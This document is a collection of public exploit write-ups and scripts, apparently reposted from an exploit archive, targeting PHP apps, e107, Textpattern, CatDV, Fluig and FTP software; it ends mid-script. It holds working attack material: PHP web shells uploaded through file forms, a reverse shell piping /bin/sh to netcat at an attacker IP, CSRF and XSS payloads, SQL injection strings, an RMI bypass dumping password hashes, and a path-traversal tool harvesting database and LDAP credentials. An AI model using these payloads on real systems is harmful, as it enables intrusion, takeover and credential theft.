# Software Link: https://www.sourcecodester.com/php/5125/online-ordering-system-using-phpmysql.html
# Version: 1.0
# Tested on Windows 10, XAMPP


Request:
========

POST /onlineordering/GPST/store/initiateorder.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=---------------------------14955282031852449676680360880
Content-Length: 972
Origin: http://localhost
Connection: close
Referer: http://localhost/onlineordering/GPST/store/index.php
Cookie: PHPSESSID=0es23o87toitba1p1pdmq5i6ir
Upgrade-Insecure-Requests: 1

-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="transnum"

VAF-XAP
-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="select1"

25
-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="pname"

keychain
-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="select2"

1
-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="txtDisplay"

25
-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="note"

test
-----------------------------14955282031852449676680360880
Content-Disposition: form-data; name="image"; filename="shell.php"
Content-Type: application/octet-stream

<?php echo "Shell";system($_GET['cmd']); ?>
-----------------------------14955282031852449676680360880--

Response:
=========

HTTP/1.1 200 OK
Date: Thu, 04 Mar 2021 13:28:27 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.27
X-Powered-By: PHP/7.3.27
Content-Length: 55
Connection: close
Content-Type: text/html; charset=UTF-8

<meta http-equiv="refresh" content="1; url=index.php">

# Uploaded Malicious File can be Found in :
onlineordering\GPST\store\design

# go to
http://localhost/onlineordering/GPST/store/design/shell.php?cmd=hostname
which will execute hostname command.
HireHackking

e107 CMS 2.3.0 - CSRF 

# Exploit Title: e107 CMS 2.3.0 - CSRF
# Date: 04/03/2021
# Exploit Author: Tadjmen
# Vendor Homepage: https://e107.org
# Software Link: https://e107.org/download
# Version: 2.3.0
# Tested on: Windows 10
# CVE : CVE-2021-27885

CSRF vulnerability on e107 CMS

## Bug Description
Hi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link.

## How to Reproduce
Steps to reproduce the behavior:
1. Create a CSRF login POC using the following code.

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>Cross Site Request Forgery (Edit Existing Admin details)</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">

function fireForms()
{
    var count = 2;
    var i=0;

    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
    }
}

</script>

<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2>

<form method="POST" name="form0" action="
http://localhost/[path-to-e107-cms]/usersettings.php">

<input type="hidden" name="loginname" value="admin"/>
<input type="hidden" name="email" value="[email]"/>
<input type="hidden" name="password1" value="[password]"/>
<input type="hidden" name="password2" value="[password]"/>
<input type="hidden" name="hideemail" value="1"/>
<input type="hidden" name="image" value=""/>
<input type="hidden" name="signature" value=""/>
<input type="hidden" name="updatesettings" value="Save settings"/>
<input type="hidden" name="_uid" value="2"/>




</form>

</body>
</html>
```


2. Replace the email and password with the valid credentials.
3. Send the link script to the victim (admin) to make them click.
4. Login with new admin password
HireHackking 
# Exploit Title: Textpattern CMS 4.8.4 - 'Comments' Persistent Cross-Site Scripting (XSS)
# Date: 2021-03-04
# Exploit Author: Tushar Vaidya
# Vendor Homepage: https://textpattern.com
# Software Link: https://textpattern.com/start
# Version: v 4.8.4
# Tested on: Windows

Steps-To-Reproduce:
1. Login into Textpattern CMS admin panel.
2. Now go to the *Content > C**omments > Message*.
3. Now paste the below payload in the URL field.

Ba1man”><img src=x onerror=confirm(document.location)>

4. Now click on the *Save* button.
5. Now go to the https://site.com/articles/welcome-to-your-site#comments-head
5. The XSS will be triggered.
HireHackking 
# Exploit Title: Online Ordering System 1.0 - Blind SQL Injection (Unauthenticated)
# Date: 2021-03-04
# Exploit Author: Suraj Bhosale
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/5125/online-ordering-system-using-phpmysql.html
# Version: v1.0
# Vulnerable endpoint: http://localhost/onlineordering/GPST/admin/design.php?id=9
# Vulnerable Parameter: id

*Steps to Reproduce:*
1) Visit
http://localhost/onlineordering/GPST/admin/design.php?id=12'%20and%20sleep(20)%20and%20'1'='1 and you will see a time delay of 20 Sec in response.
2) Now fire up the following command into SQLMAP.

CMD: sqlmap -u  http://localhost/onlineordering/GPST/admin/design.php?id=9
<http://localhost/onlineordering/GPST/admin/design.php?id=9%27%20and%20sleep(20)%20and%20%271%27=%271>*
--batch --dbs

3) Using the above command we will get the name of all the database.
HireHackking 
# Exploit Title:  Textpattern CMS 4.9.0-dev - 'Excerpt' Persistent Cross-Site Scripting (XSS)
# Date: 2021-03-04
# Exploit Author: Tushar Vaidya
# Vendor Homepage: https://textpattern.com
# Software Link: https://textpattern.com/start
# Version: v 4.9.0-dev
# Tested on: Windows

Steps-To-Reproduce:
1. Login into Textpattern CMS admin panel.
2. Now go to the *Content > Write > ** Excerpt*.
3. Now paste the below payload in the URL field.

Ba1man”><img src=x onerror=confirm(document.cookie)>

4. Now click on the *Save* button.
5. Now go to the *articles* page
5. The XSS will be triggered.
HireHackking 
# Exploit Title: Textpattern 4.8.3 - Remote code execution (Authenticated) (2)
# Date: 03/03/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# Vendor Homepage: https://textpattern.com/
# Software Link: https://textpattern.com/start
# Version: Previous to 4.8.3
# Tested on: CentOS, textpattern 4.5.7 and 4.6.0
# Install dependencies: pip3 install beautifulsoup4 argparse requests
# Example: python3 exploit.py -t http://example.com/ -u USER -p PASSWORD -c "whoami" -d

import sys
import argparse
import requests
from bs4 import BeautifulSoup


def get_args():
	parser = argparse.ArgumentParser()
	parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
	parser.add_argument('-u', '--user', required=True, action='store', help='Username')
	parser.add_argument('-p', '--password', required=True, action='store', help='Password')
	parser.add_argument('-c', '--command', required=False, default="whoami", action='store', help='Command to execute')
	parser.add_argument('-f', '--filename', required=False, default="testing.php", action='store', help='PHP File Name to upload')
	parser.add_argument('-d', '--delete', required=False, default=False, action='store_true', help='Delete PHP file after executing command')
	my_args = parser.parse_args()
	return my_args


def get_file_id(s, files_url, file_name):
	r = s.get(files_url, verify=False)
	soup = BeautifulSoup(r.text, "html.parser")
	for a in soup.findAll('a'):
		if "file_download/" in a['href']:
			file_id_name = a['href'].split('file_download/')[1].split("/")
			if file_id_name[1] == file_name:
				file_id = file_id_name[0]
				return file_id


def login(login_url, user, password):
	s = requests.Session()
	s.get(login_url, verify=False)
	data = {"p_userid":user, "p_password":password, "_txp_token":""}
	r = s.post(login_url, data=data, verify=False)
	if str(r.status_code) == "401":
		print("[+] Invalid credentials")
		sys.exit(0)
	_txp_token = ""
	soup = BeautifulSoup(r.text, "html.parser")
	fields = soup.findAll('input')
	for f in fields:
		if (f['name'] == "_txp_token"):
			_txp_token = f['value']
	return s,_txp_token


def upload(s, login_url, _txp_token, file_name):
	php_payload = '<a>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua.</a>\n'*1000 # to avoid WAF problems
	php_payload += '<?php $test = shell_exec($_REQUEST[\'cmd\']); echo $test; ?>'
	s.post(login_url, files=(("MAX_FILE_SIZE", (None, "2000000")), ("event", (None, "file")), ("step", (None, "file_insert")), ("id", (None, "")), ("sort", (None, "")), ("dir", (None, "")), ("page", (None, "")), ("search_method", (None, "")), ("crit", (None, "")), ("thefile",(file_name, php_payload, 'application/octet-stream')), ("_txp_token", (None, _txp_token)),), verify=False) 


def exec_cmd(s, cmd_url, command):
	r = s.get(cmd_url+command, verify=False)
	response = r.text.replace("<a>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed eiusmod tempor incidunt ut labore et dolore magna aliqua.</a>\n","")
	return response


def delete_file(s, login_url, file_id, _txp_token):
	data = {"selected[]":file_id,"edit_method":"delete","event":"file","step":"file_multi_edit","page":"1","sort":"filename","dir":"asc","_txp_token":_txp_token}
	s.post(login_url, data=data, verify=False)


def main():
	args = get_args()
	url = args.target
	user = args.user
	password = args.password
	file_name = args.filename
	command = args.command
	delete_after_execute = args.delete

	login_url =  url + "/textpattern/index.php"
	upload_url = url + "/textpattern/index.php"
	cmd_url =    url + "/files/" + file_name + "?cmd="
	files_url =  url + "/textpattern/index.php?event=file"

	s,_txp_token = login(login_url, user, password)
	print("[+] Logged in")
	upload(s, login_url, _txp_token, file_name)
	file_id = get_file_id(s, files_url, file_name)
	print("[+] File uploaded with id %s"%(file_id))
	response = exec_cmd(s, cmd_url, command)
	print("[+] Command output \n%s"%(response))

	if delete_after_execute:
		print("[+] Deleting uploaded file %s with id %s" %(file_name, file_id))
		delete_file(s, login_url, file_id, _txp_token)
	else:
		print("[+] File not deleted. Url: %s"%(url + "/files/" + file_name))


if __name__ == "__main__":
	main()
HireHackking 
# Exploit Title: Web Based Quiz System 1.0 - 'eid' Union Based Sql Injection (Authenticated)
# Date: 04-03-2021
# Exploit Author: Deepak Kumar Bharti
# Vendor Homepage: https://www.sourcecodester.com
# Software Download Link: https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html
# Software: Web Based Quiz System
# Version: 1.0

# Tested on: Windows 10 Pro
# Union Based Sql Injection has been discovered in the Web Based Quiz System created by sourcecodester/janobe
# in Welcome page in quiz section eid parameter affected from this vulnerability.
# URL: http://localhost/welcome.php?q=quiz&step=2&eid=60377db362694' Union Select 1,database(),database(),4,5-- -&n=2&t=34

POC:
# go to url http://localhost/login.php
# then you have to login with default creds
# then go to quiz and execute the payload ie:--
http://localhost/welcome.php?q=quiz&step=2&eid=60377db362694' Union Select 1,database(),database(),4,5-- -&n=2&t=34
HireHackking 
# Exploit Title: CatDV 9.2 - RMI Authentication Bypass 
# Date: 3/1/2021
# Exploit Author: Christopher Ellis, Nick Gonella, Workday Inc.
# Vendor Homepage: https://catdv.com/
# Software Link: https://www.squarebox.com/download/CatDVServer9.2.0.exe
# Version: 9.2 and lower
# Tested on: Windows, Mac

import org.h2.engine.User;
import squarebox.catdv.shared.*;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class Runnable {
    public Runnable() throws RemoteException, NotBoundException, MalformedURLException { }

    private static int getValidSession(long createdTime, String claimedHost) {
        return (int)createdTime + claimedHost.hashCode();
    }

    private static void printFields(SField[] fields) {
        for (SField field : fields) {
            System.out.println(field.fieldDefID);
            System.out.println(field.value);
            System.out.println(field.fieldDefinition);
        }
    }

    public static void main(String args[]) throws RemoteException, NotBoundException, MalformedURLException {
        String target = "rmi://<HOST>:1099/CatDVServer";

        ServerAPI look_up = (ServerAPI) Naming.lookup(target);

        System.out.println("Trying to get all connections");
        SConnection[] connections = look_up.getConnections();
        for (SConnection element : connections) {
            System.out.println("Found connection:");
            System.out.println("CatDVUser:"+ element.catdvUser);
            System.out.println("ApiVersion:"+ element.apiVersion);
            System.out.println("User:"+ element.user);
            System.out.println("ClaimedHost:"+ element.claimedHost);
            System.out.println("ActualHost:"+ element.actualHost);
            System.out.println("Created:"+ element.created);
            System.out.println("LastUsed:"+ element.lastUsed);
            System.out.println("Client features:"+ element.clientFeatures);
            System.out.println("\n");
        }

        System.out.println("Getting system properties");
        System.out.println("Running from: "+look_up.getProperty("user.dir"));
        System.out.println("Running on: "+look_up.getProperty("os.arch"));
        System.out.println("Java version: "+look_up.getProperty("java.version"));

        //We can create a new client from most of the fields found in the existing connections which we can dump anonymously
        ClientID bob=new  ClientID(
                connections[0].catdvUser,
                connections[0].claimedHost,
                getValidSession(connections[0].created,connections[0].claimedHost),
                connections[0].created,
                "");

        System.out.println("\nCreated a new client with parameters: \n" +
                "" + "user:"+connections[0].catdvUser+"\n"+
                "" + "claimedHost:"+connections[0].claimedHost+"\n"+
                "" + "session:"+getValidSession(connections[0].created,connections[0].claimedHost)+"\n"+
                "" + "created:"+connections[0].created+"\n"+
                "" + "pubkey:"+""+
                "");


        String status = look_up.getStatus(bob);
        System.out.println("Status is: \n "+status);

        System.out.println("Attempting to dump users: \n");
        SUser[] users=look_up.getUsers(bob, -1);
        for (SUser element: users) {

            System.out.println(element.name);
            System.out.println(element.passwordHash);
                System.out.println("id:" + element.ID);
                System.out.println("realname:" + element.realname);
                System.out.println("email:" + element.email);
                System.out.println("password:" + element.password);
                System.out.println("notes:" + element.notes);
                System.out.println("inactive:" + element.inactive);
                System.out.println("RoleiD:" + element.roleID);
                System.out.println("hash:" + element.passwordHash);
                System.out.println("");
        }

    }

}
HireHackking 
# Exploit Title: Configuration Tool 1.6.53 - 'OpLclSrv' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 07-03-2021
# Vendor Homepage: https://www.oki.com
# Software Links: https://www.oki.com/mx/printing/support/drivers-and-utilities/?id=46226801&tab=drivers-and-utilities&productCategory=monochrome&sku=62442301&os=ab4&lang=ac6
# Tested Version: 1.6.53
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 8.1 Pro 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
OKI Local Port Manager OpLclSrv C:\Program
Files\Okidata\Common\extend3\portmgrsrv.exe               Auto

C:\>sc qc OpLclSrv [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO:
OpLclSrv TIPO: 10 WIN32_OWN_PROCESS TIPO_INICIO: 2 AUTO_START
CONTROL_ERROR: 0 IGNORE NOMBRE_RUTA_BINARIO: C:\Program
Files\Okidata\Common\extend3\portmgrsrv.exe GRUPO_ORDEN_CARGA: ETIQUETA: 0
NOMBRE_MOSTRAR: OKI Local Port Manager DEPENDENCIAS:
NOMBRE_INICIO_SERVICIO: LocalSystem
HireHackking 
# Exploit Title: Print Job Accounting 4.4.10 - 'OkiJaSvc' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 07-03-2021
# Vendor Homepage: https://www.oki.com
# Software Links: https://www.oki.com/mx/printing/support/drivers-and-utilities/?id=46229002&tab=drivers-and-utilities&productCategory=monochrome&sku=62442301&os=ab4&lang=ac6
# Tested Version: 4.4.10
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 8.1 Pro 64 bits

C:\Windows\system32>wmic service get name, displayname, pathname, startmode
| findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """ OKI
Local Port Manager OpLclSrv C:\Program
Files\Okidata\Common\Extend3\portmgrsrv.exe Print Job Accounting OkiJaSvc
C:\Program Files\Okidata\Print Job Accounting\oklogsvc.exe Print Job
Accounting Watch Service OkiWchSvc C:\Program Files\Okidata\Print Job
Accounting\okwchsvc.exe Print Job Accounting opja0004 opja0004 C:\Program
Files\Okidata\Print Job Accounting\opja0004.exe

C:\Windows\system32>sc qc OkiJaSvc
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: OkiJaSvc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files\Okidata\Print Job Accounting\oklogsvc.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Print Job Accounting
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
HireHackking

Fluig 1.7.0 - Path Traversal 

# Exploit Title: Fluig 1.7.0 - Path Traversal
# Date: 26/11/2020
# Exploit Author: Lucas Souza
# Vendor Homepage: https://www.totvs.com/fluig/
# Version: <== 1.7.0-210217
# Tested on: 1.7.0-201124

#!/bin/bash
url="$1"
npayload=$2
> payload.txt
curl -s https://raw.githubusercontent.com/lucxssouza/banners/main/xFluig/banner > banner
# -- FUNCTIONS --

function create-payload {
    > wordlist.txt
    count=1
    while [[ $count -le $npayload ]]; do
                                                                        # WINDOWS PAYLOAD
        echo "?t=1&vol=Default&id=$count&ver=1000&file=../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml" >> wordlist.txt
        echo "?t=1&vol=Default&id=$count&ver=1000&file=../../../../../../../../../../../../../users/public/desktop/desktop.ini" >> wordlist.txt
                                                                        # LINUX PAYLOAD
        echo "?t=1&vol=Default&id=$count&ver=1000&file=../../../../../../../../../../../../../etc/passwd" >> wordlist.txt
        echo "?t=1&vol=Default&id=$count&ver=1000&file=../../../../../../../../../../../../../opt/fluig/appserver/domain/configuration/domain.xml" >> wordlist.txt
        count=$[$count + 1]
    done
}

function manual-mode {
    while :; do
        echo
        echo -e "\033[0;31m[!] VALID MANUAL MODE COMMANDS\033[0m"
        echo
        echo -e "\033[0;32m   -[ clear          -     Clear Screen\033[0m"
        echo -e "\033[0;32m   -[ target         -     Set a target\033[0m"
        echo -e "\033[0;32m   -[ director/file  -     Ex: /etc/passwd\033[0m"
        echo -e "\033[0;32m   -[ info           -     Target info and parse 'domain.xml' file ( require target )\033[0m"
        echo
        echo -n -e "\033[0;31mMANUAL MODE >>\033[0m "; read -r input2
        path=$(echo $input2 | sed 's/\\/\//g' | tr '[:upper:]' '[:lower:]')
        mkfile=$(echo $path | sed 's/\//-/g' | sed 's/-//' | tr '[:upper:]' '[:lower:]')
        if [[ $path == 'info' ]]; then
            clear
            cat banner
            domain-xml
        elif [[ $path == 'clear' ]]; then
            clear
        elif [[ $path == 'target' ]]; then
            XmlPayload=''
            echo
            echo -n -e "\033[0;31mINSERT TARGET >> \033[0m"; read url
            echo -n -e "\033[0;31mWORDLIST SIZE >> \033[0m"; read -i npayload
            enum
       else
           echo
           echo "$param../../../../../../../../../../../../..$path" > wordlist.txt
           wfuzz -z file --zP fn=wordlist.txt,encoder=base64 -c --sc 200 $url/volume/stream/Rmx1aWc=/FUZZ | grep '"' | cut -d':' -f2 | grep 200 | cut -d'"' -f2 > payload.txt
           DirPath=$(head -1 payload.txt)
       if [[ $DirPath  == '' ]]; then
           echo
           echo -e '            \033[0;33m[!] COMMAND OR DIRECTORY/FILE NOT FOUND - TYPE HELP\033[0m'
       else
           curl -s $url/volume/stream/Rmx1aWc=/$DirPath > report/$mdr/$mkfile
           echo
           echo -e '\033[0;31m'$path'\033[0m'
           echo
           cat report/$mdr/$mkfile
           echo
           pwd=$(pwd)
           echo
           echo -e '\033[0;33m'[!] FILE SAVE IN, $pwd/report/$mdr/$mkfile'\033[0m'
      fi
      fi
    done
}

function domain-xml {
    domain=$(ls report/$mdr | grep domain.xml)
if [[ $domain == '' ]]; then
    echo
    echo -e '\033[0;33m[!] DOMAIN.XML FILE NOT FOUND\033[0m'
else
    echo
    echo -e '     \033[0;32m | TOTVS FLUIG - [+] XML ANALISYS\033[0m'
    echo
    echo -e '            \033[0;33m[!] INFORMATION\033[0m'
    echo
    curl -s -I $url | grep Server
    echo
    echo -e '\033[0;31mTarget\033[0m'
    echo $url
    echo
    echo -e '\033[0;31mPayload plaintext\033[0m'
    echo $XmlPayload | base64 -d
    echo
    echo
    echo -e '\033[0;31mPayload base64 encoded\033[0m'
    echo $XmlPayload
    echo
    echo -e '            \033[0;31m[!] DATABASE CONNECTIONS FOUNDS\033[0m'
    echo
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep connection-url | sed 's/<connection-url>/\o033[0;31mDB CONNECT >> \o033[0m/g' | sed 's/<\/connection-url>/ \o033[0;31m<< \o033[0m/g' | sed 's/${env.FLUIG_DATABASE_URL://g' | sed 's/}//g'
    echo
    echo -e '            \033[0;31m[!] USERS/PASSWORDS FOUNDS\033[0m'
    echo
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep user-name | sed 's/<user-name>/ \o033[0;31mUSER >> \o033[0m/g' | sed 's/<\/user-name>/ \o033[0;31m<< \o033[0m /g' | sed 's/${env.FLUIG_DATABASE_USER://g' | sed 's/}//g' 
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep password'>' | sed 's/<password>/\o033[0;31m PASSWORD >> \o033[0m/g' | sed 's/<\/password>/ \o033[0;31m<< \o033[0m/g' | sed 's/${env.FLUIG_DATABASE_PASSWORD://g' | sed 's/}//g'
    echo
    echo -e '            \033[0;31m[!] LDAP INTEGRATIONS\033[0m'
    echo 
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep ldap:// | sed 's/<module-optionname="java.naming.provider.url"value="/\o033[0;31mDOMAIN SERVER >> \o033[0m/g' | sed 's/"\/>/ \o033[0;31m<< \o033[0m /g'
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep baseCtxDN | sed 's/<module-optionname="baseCtxDN"value="/\o033[0;31mDISTINGUISHED NAME >> \o033[0m/g' | sed 's/"\/>/ \o033[0;31m<< \o033[0m /g'
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep security.principal | sed 's/<module-optionname="java.naming.security.principal"value="/\o033[0;31mUSER ADMIN >> \o033[0m/g' | sed 's/"\/>/ \o033[0;31m<< \o033[0m /g'
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep security.credentials | sed 's/<module-optionname="java.naming.security.credentials"value="/\o033[0;31mPASSWORD >> \o033[0m/g' | sed 's/"\/>/ \o033[0;31m<< \o033[0m /g'
    echo
    echo -e '            \033[0;31m[!] SMTP SETTINGS\033[0m'
    echo
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep remote-destination | sed 's/<remote-destinationhost="/\o033[0;31mSMTP ADDRESS >> \o033[0m/g' | sed 's/\/>/ \o033[0;31m<< \o033[0m /g' | sed 's/${env.FLUIG_SMTP_HOST://g' | sed 's/${env.FLUIG_HOST_ADDRESS://g' | sed 's/${env.FLUIG_SMTP_PORT//g'| sed 's/}//g'
    cat report/$mdr/domain.xml | sed 's/[[:blank:]]//g' | grep smtp-server | sed 's/<smtp-serveroutbound-socket-binding-ref="mail-smtp"//g' | sed 's/\/>//g' | sed 's/password="/\o033[0;31mPASSWORD >> \o033[0m/g' | sed 's/"username="/\o033[0;31m USER >> \o033[0m/g' | sed 's/}//g' | sed 's/${env.FLUIG_SMTP_USERNAME://g' | sed 's/${env.FLUIG_SMTP_PASSWORD://g'
    echo
    manual-mode
fi
}

function enum {
mdr=$(echo $url | sed 's/https:\/\///' | sed 's/http:\/\///' | sed 's/\///')
mkdir -p report/$mdr
    if [[ $url == '' ]]; then
        clear
        cat banner
        echo -e '   \033[0;31m-[  Usage Ex1: ./xfluig.sh FLUIG_ADDRESS REQUESTS_WFUZZ\033[0m'
        echo -e '   \033[0;31m-[        Ex2: ./xfluig.sh FLUIG_ADDRESS:PORT REQUESTS_WFUZZ\033[0m'
        echo -e '   \033[0;31m-[           ( ./xfluig.sh fluig.host.com:8080 1000 )\033[0m'
        manual-mode
    elif [[ $npayload == '' ]]; then
        npayload=25
        clear
        cat banner
        echo -e ' \033[0;32m | TOTVS FLUIG - [+] PATH ENUMERATION\033[0m'
        echo
        echo -e '\033[0;31m[>>] GENERATING PAYLOAD WORDLIST\033[0m'
        echo
        create-payload
    else
        clear
        cat banner
        echo -e '     \033[0;32m | TOTVS FLUIG - [+] PATH ENUMERATION\033[0m'
        echo
        echo -e '\033[0;31m[>>] GENERATING PAYLOAD WORDLIST\033[0m'
        create-payload
    fi
echo
echo -e '\033[0;31m[>>] RUNNING WFUZZ - WAIT\033[0m'
echo
wfuzz -z file --zP fn=wordlist.txt,encoder=base64 -c --sc 200 $url/volume/stream/Rmx1aWc=/FUZZ | grep '"' | cut -d':' -f3 | grep 200 | cut -d'"' -f2 > payload.txt
payload=$(head -1 payload.txt)
if [[ $payload == '' ]]; then
    clear
    cat banner
    echo -e '  \033[0;32m | TOTVS FLUIG -  PATH ENUMERATION AND XML ANALISYS \033[0m'
    echo
    echo -e '\033[0;33m[!] DIRECTORY/FILE NOT FOUND OR TARGET NOT VULNERABLE\033[0m'
    echo
    manual-mode
else
    param=$(echo $payload | base64 -d |  cut -d '.' -f1)
    clear
    cat banner
    echo -e '     \033[0;32m | TOTVS FLUIG - [+] STATUS\033[0m'
    echo
    echo -e '            \033[0;33m[!] VULNERABLE\033[0m'
    echo
    echo -e '\033[0;31m[>>] SEARCHING DOMAIN.XML FILE\033[0m'
    echo "$param../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml" > wordlist.txt
    echo "$param../../../../../../../../../../../../../opt/fluig/appserver/domain/configuration/domain.xml" >> wordlist.txt
    wfuzz -z file --zP fn=wordlist.txt,encoder=base64 -c --sc 200 $url/volume/stream/Rmx1aWc=/FUZZ | grep '"' | cut -d':' -f3 | grep 200 | cut -d'"' -f2 > payload.txt
    clear
    cat banner
    echo -e '     \033[0;32m | TOTVS FLUIG - [+] STATUS\033[0m'
    echo
    echo -e '            \033[0;33m[!] VULNERABLE\033[0m'
    echo
    curl -s -I $url | grep Server
    echo
    echo -e '\033[0;31mTarget\033[0m'
    echo $url
    echo
    echo -e '\033[0;31mPayload plaintext\033[0m'
    echo $payload | base64 -d
    echo
    echo
    echo -e '\033[0;31mPayload base64 encoded\033[0m'
    echo $payload
    echo
fi
XmlPayload=$(head -1 payload.txt)
if [[ $XmlPayload == '' ]]; then
    echo
    echo -e '\033[0;33m[!] DOMAIN.XML FILE NOT FOUND\033[0m'
    manual-mode
else
    curl -s $url/volume/stream/Rmx1aWc=/$XmlPayload | sed 's/[[:blank:]]//g' > report/$mdr/domain.xml
    echo
    echo -e '\033[0;33m[!] DOMAIN.XML FILE FOUND - TYPE "INFO" TO PARSE\033[0m'
    manual-mode
fi
}
enum
HireHackking 
# Exploit Title: Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated)
# Date: 07-03-2021
# Exploit Author: Christian Vierschilling
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/13707/hotel-and-lodge-management-system.html
# Version: 1.0
# Tested on: PHP 7.4.14, Linux x64_x86

# --- Description --- #

# The web application allows for an unauthenticated file upload which can result in a Remote Code Execution.
# Executing this script against a target might return a reverse php shell.

# --- Proof of concept --- #

#!/usr/bin/python3
import random
import sys
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

def file_upload(target_ip, attacker_ip, attacker_port):
  print("(+) Setting up reverse shell php file ..")
  random_file_name = str(random.randint(100000, 999999)) + "revshell.php"
  revshell_string = '<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f"); ?>'.format(attacker_ip, attacker_port)
  m = MultipartEncoder(fields={'image': (random_file_name, revshell_string, 'application/x-php'),'btn_update':''})
  print("(+) Trying to upload it ..")
  r1 = requests.post('http://{}/hotel/source code/profile.php'.format(target_ip), data=m, headers={'Content-Type': m.content_type})
  r2 = requests.get('http://{}/hotel/source code/uploadImage/Profile/'.format(target_ip))
  if random_file_name in r2.text:
    print("(+) File upload seems to have been successful!")
    return random_file_name
  else:
    print("(-) Oh noes, file upload failed .. quitting!")
    exit()

def trigger_shell(target_ip, random_file_name):
  print("(+) Now trying to trigger our shell..")
  r3 = requests.get('http://{}/hotel/source code/uploadImage/Profile/{}'.format(target_ip, random_file_name))
  return None

def main():
  if len(sys.argv) != 4:
    print('(+) usage: %s <target ip> <attacker ip> <attacker port>' % sys.argv[0])
    print('(+) eg: %s 10.0.0.1 10.13.37.10 4444' % sys.argv[0])
    sys.exit(-1)

  target_ip = sys.argv[1]
  attacker_ip = sys.argv[2]
  attacker_port = sys.argv[3]

  revshell_file_name = file_upload(target_ip, attacker_ip, attacker_port)
  trigger_shell(target_ip, revshell_file_name)
  print("\n(+) done!")

if __name__ == "__main__":
  main()
HireHackking 
# Exploit Title: Pingzapper 2.3.1 - 'PingzapperSvc' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 07-03-2021
# Vendor Homepage: https://pingzapper.com
# Software Links: https://pingzapper.com/download
# Tested Version: 2.3.1
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 8.1 Pro 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
Pingzapper Service      PingzapperSvc            C:\Program Files
(x86)\Pingzapper\PZService.exe               Auto

C:\>sc qc PingzapperSvc [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO:
PingzapperSvc TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Pingzapper\PZService.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0
NOMBRE_MOSTRAR : Pingzapper Service DEPENDENCIAS : NOMBRE_INICIO_SERVICIO:
LocalSystem
HireHackking 
# Golden FTP Server 4.70 - 'PASS' Buffer Overflow (2)
# Author: 1F98D
# Original Authors: Craig Freyman (cd1zz) and Gerardo Iglesias Galvan (iglesiasgg)
# Tested on Windows 10 (x64)
#
# A buffer overflow exists in GoldenFTP during the authentication process.
# Note that the source ip address of the user performing the authentication
# forms part of the buffer and as such must be accounted for when calculating
# the appropriate offset. It should also be noted that the exploit is
# rather unstable and if exploitation fails, GoldenFTP will be left in
# a state where it will still accept connections, but it will be unable
# to handle or process them in anyway, so be careful.
#
#!/usr/local/bin/python3

from socket import *
import sys

# Your address forms part of the buffer length calculation
SOURCE = '192.168.1.1'
TARGET = '192.168.1.2'
